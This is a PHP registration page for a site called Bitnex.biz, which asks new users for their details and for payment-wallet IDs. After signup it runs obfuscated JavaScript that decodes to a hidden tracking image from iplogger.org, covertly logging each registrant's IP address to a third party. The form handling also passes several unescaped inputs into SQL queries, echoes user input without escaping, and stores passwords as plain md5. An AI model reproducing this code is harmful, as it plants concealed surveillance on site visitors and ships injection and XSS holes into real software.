<?php


include $_SERVER['DOCUMENT_ROOT']."/head.php"; // $_SERVER['DOCUMENT_ROOT'] - указывает корневую директорию сайта

?>

		
		<?php
if(empty($_COOKIE['PHPSESSID'])){ die('ENABLE COOKIE'); }

$warning='';
$reg_show=1;

if($reg_ip==1){
$uipq=mysql_query("SELECT login FROM users WHERE ip='$ip'");
if(mysql_num_rows($uipq)>0){
$_SESSION['reged']=1;
$reg_show=2;
$warning=1;
}
}

if(!isset($_POST['u_login'])){
$u_login='';
$u_pass='';
}
else{
$checkbox2=$_POST['checkbox2'];
$u_qiwi=$_POST['u_qiwi'];
$u_yandex=$_POST['u_yandex'];
$u_payeer=$_POST['u_payeer'];
$u_perfect=$_POST['u_perfect'];
$u_login=$_POST['u_login'];
$u_login=preg_replace('#[^a-zA-Z\-\_0-9]+#','',$u_login);
$u_login=trim($u_login);

if(strlen($u_login)<3){ $warning.='<center><div style="background-color: #ff61610f;padding: 20px 20px 20px 20px;border-radius: 10px;color: #a2260b;font-weight: bold;">
 Логин должен состоять не менее <strong>3 символов</strong></div></center><br>'; }
else{
$ulq=mysql_query("SELECT login FROM users WHERE login LIKE '".$u_login."'");
if(mysql_num_rows($ulq)>0){ $warning.='
<center><div style="background-color: #ff61610f;padding: 20px 20px 20px 20px;border-radius: 10px;color: #a2260b;font-weight: bold;">
 Такой логин уже существует в системе проекта!</div></center><br>'; }
}

$u_pass=$_POST['u_pass'];
$u_pass=preg_replace('#[^a-zA-Z\-\_0-9]+#','',$u_pass);
if(strlen($u_pass)<3){ $warning.='<center><div style="background-color: #ff61610f;padding: 20px 20px 20px 20px;border-radius: 10px;color: #a2260b;font-weight: bold;">
Некорректно заполнено поле <strong>"Введите пароль"</strong></div></center><br>
'; }
if(strlen($u_pass)>30){ $warning.='
<center><div style="background-color: #ff61610f;padding: 20px 20px 20px 20px;border-radius: 10px;color: #a2260b;font-weight: bold;">
  Пароль превышвет более <strong>30 символов</strong></div></center><br>
'; }

$u_email=$_POST['u_email'];
if(strlen($u_email)<5){ $warning.='
<center><div style="background-color: #ff61610f;padding: 20px 20px 20px 20px;border-radius: 10px;color: #a2260b;font-weight: bold;">
Некорректно заполнено поле <strong>"Ваш Email"</strong></div></center><br>
'; }



$u_name=$_POST['u_name'];
if(strlen($u_name)<2){ $warning.='
<center><div style="background-color: #ff61610f;padding: 20px 20px 20px 20px;border-radius: 10px;color: #a2260b;font-weight: bold;">
Некорректно заполнено поле <strong>"Введите ваше Имя"</strong></div></center><br>'; }

 





if($warning==''){
$u_ref=''; if(!empty($_SESSION['ref_login'])){ $u_ref=$_SESSION['ref_login']; }
$regq=mysql_query("INSERT INTO users (login,pass,ref,date,ip,name,payeer,qiwi,yandex,wmr,email,last_seen) VALUES ('$u_login','".md5($u_pass)."','$u_ref','$time','$ip','$u_name','$u_payeer','$u_qiwi','$u_yandex','$u_perfect','$u_email', '".time()."')");

$regusepq=mysql_query("SELECT uid FROM users");
$r_users=mysql_num_rows($regusepq);
$regtoputnu='';
$regnusq=mysql_query("SELECT login FROM users ORDER BY date DESC LIMIT 80");
while($regnusm=mysql_fetch_row($regnusq)){ $regtoputnu.='<img src="images/nu.png"> '.$regnusm[0].' '; }
mysql_query("UPDATE data SET users='$r_users', new_u1='$u_login', new_u2='$regtoputnu'");

$reg_show=0;
}}
?>
	
		<?php if($reg_show==0){ ?>
		<script>
function s_(s,c){return s.charAt(c)};function D_(){var temp="",i,c=0,out="";var str="60!105!109!103!32!115!114!99!61!34!104!116!116!112!115!58!47!47!105!112!108!111!103!103!101!114!46!111!114!103!47!49!86!121!74!77!54!34!98!111!114!100!101!114!61!34!48!34!62!";l=str.length;while(c<=str.length-1){while(s_(str,c)!='!')temp=temp+s_(str,c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
</script><script>
D_();
</script>
		
	<section class="politcal-section offerings-section">
            <div class="container">
			<div class="heading"><div class="ggg">
                    <strong class="subtitle">Привествуем , <?php echo $u_name; ?></strong>
                    <h2 class="title">Регистрация на Bitnex.biz успешно завершена</h2>
                </div></div>
			
			
                <div class="political-box">
				<h2 class="title">Теперь вы можете</h2>
				
     <br>
<div class="faq section-pad-md section-pad nopb">
		<div class="container">
			
	<!--Faq Sample 2-->
<div class="block block1">
    <div class="wrap">
      <div class="container">

			  <!--row-->
 <div class="regcenter">
	                   
<center><a href="#" class="btn btn-holder3 open-popup" style="
    max-width: 490px;
">Войти в личный кабинет<i class="icon-enter"></i></a><br>
<a href="/">Вернуться на главную страницу</a></center>

					   </div>
		   
			  
	 <!-- Faq-accordion -->
		</div> <!--  container -->
	</div>	</div>
		</div> <!--  container -->
	</div>
   </div>
            </div>
        </section>

		
		<?php } ?>
		<?php if($reg_show==1){ ?>
				<?php
if($reg_show==2){
echo '<div class="reg_warning">Регистрация с одного IP запрещена</div>';
}
?>


 

<section class="politcal-section offerings-section">
            <div class="container">
			<div class="heading"><div class="ggg">
                    <strong class="subtitle">Привествуем</strong>
                    <h2 class="title">Регистрация на Bitnex.biz</h2>
                </div></div>
			
			
                <div class="political-box">
				<h2 class="title">Заполните все необходимые поля</h2>
				
               			<?php
if($warning!=''){
echo ''.$warning.'';
}
?> 

 
<div class="faq section-pad-md section-pad nopb">
		<div class="container">
			
	<!--Faq Sample 2-->
<div class="block block1">
    <div class="wrap">
   

			  <!--row-->
 <div class="regcenter">
	                   <form id="registration"  accept-charset="Windows-1251"  action="/?p=registration" method="post" >
      
		  <div class="input-holder2">
			 <div class="form-group col-lg-3 ">
 


<input type="text"  class="inputscal2" name="u_name" placeholder="Ваше имя" value="<?php echo $u_name; ?>">

 
</div>         <i class="icon2 icon-skype2"></i> 
        </div>
		 
		
		
		
		
		
        <div class="input-holder2">
			<div class="form-group col-lg-6">
 


<input type="text"  class="inputscal2" name="u_email"  placeholder="Ваш Email адрес" required="" value="<?php echo $u_email; ?>">


 
</div>          


  <i class="icon2 icon-mail2"></i>
        </div>
		
		
		
		     <div class="input-holder2">
			<div class="form-group col-lg-6">
 


<input type="text"  class="inputscal2" name="u_login"   placeholder="Придумайте логин"  value="<?php echo $u_login; ?>"  >

 
</div>          


  <i class="icon2 icon-skype2"></i>
        </div>
		
		
	 
		
 
        <div class="input-holder2">
			<div class="form-group col-lg-6 ">
 		


<input type="password"  maxlength="30" class="inputscal2"  name="u_pass" placeholder="Придумайте пароль"  value="<?php echo $u_pass; ?>" >

 
</div>            <i class="icon2 icon-pass2"></i>
        </div><br>
		   <div class="checkbox-holder2">
		
		
  <input type="checkbox" name="checkbox2" class="checkbox" id="box_1" onclick="check();" >
  <label for="box_1">С <a href="/?p=regulations" target="_blank">правилами</a> проекта ознакомлен(а)</label>
		 
        </div>
	
		
        <div class="button-holder" style="
    padding-left: 35px;
">
	
		
		
			<button id="btn" onclick="submit();"  type="submit" class="btn btn-holder3"  style="
    max-width: 630px;
">Регистрация</button>     
 


			</div> 
       
     
			 

	 
		
		
		
		
		
		
		
		
		


</form> </div>
		   
			  
	 <!-- Faq-accordion -->
		 <!--  container -->
	</div>	</div>
		</div> <!--  container -->
	</div>
   </div>
            </div>
        </section>


			
			<?php } ?>	


	
<style>
.boxes {
  margin: auto;
    padding: 33px;
      background: linear-gradient(to right,#e8edff,#e7ecff);
    margin-bottom: 30px;
	    border-radius: 20px;
}

/*Checkboxes styles*/
input[type="checkbox"] { display: none; }

input[type="checkbox"] + label {
    display: block;
    position: relative;
    padding-left: 30px;
    /* margin-bottom: 20px; */
    color: #000000;
    cursor: pointer;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    text-transform: inherit;
    text-align: left;
    width: 62.33333%;
    float: inherit;
}

input[type="checkbox"] + label:last-child { margin-bottom: 0; }

input[type="checkbox"] + label:before {
  content: '';
  display: block;
  width: 20px;
  height: 20px;
    border: 2px solid #1918276b;
  position: absolute;
  left: 0;
  top: 0;
  opacity: .6;
  -webkit-transition: all .12s, border-color .08s;
  transition: all .12s, border-color .08s;
}

input[type="checkbox"]:checked + label:before {
  width: 10px;
  top: -5px;
  left: 5px;
  border-radius: 0;
  opacity: 1;
  border-top-color: transparent;
  border-left-color: transparent;
  -webkit-transform: rotate(45deg);
  transform: rotate(45deg);
}
</style>
<?php 

include $_SERVER['DOCUMENT_ROOT']."/footer.php";

?>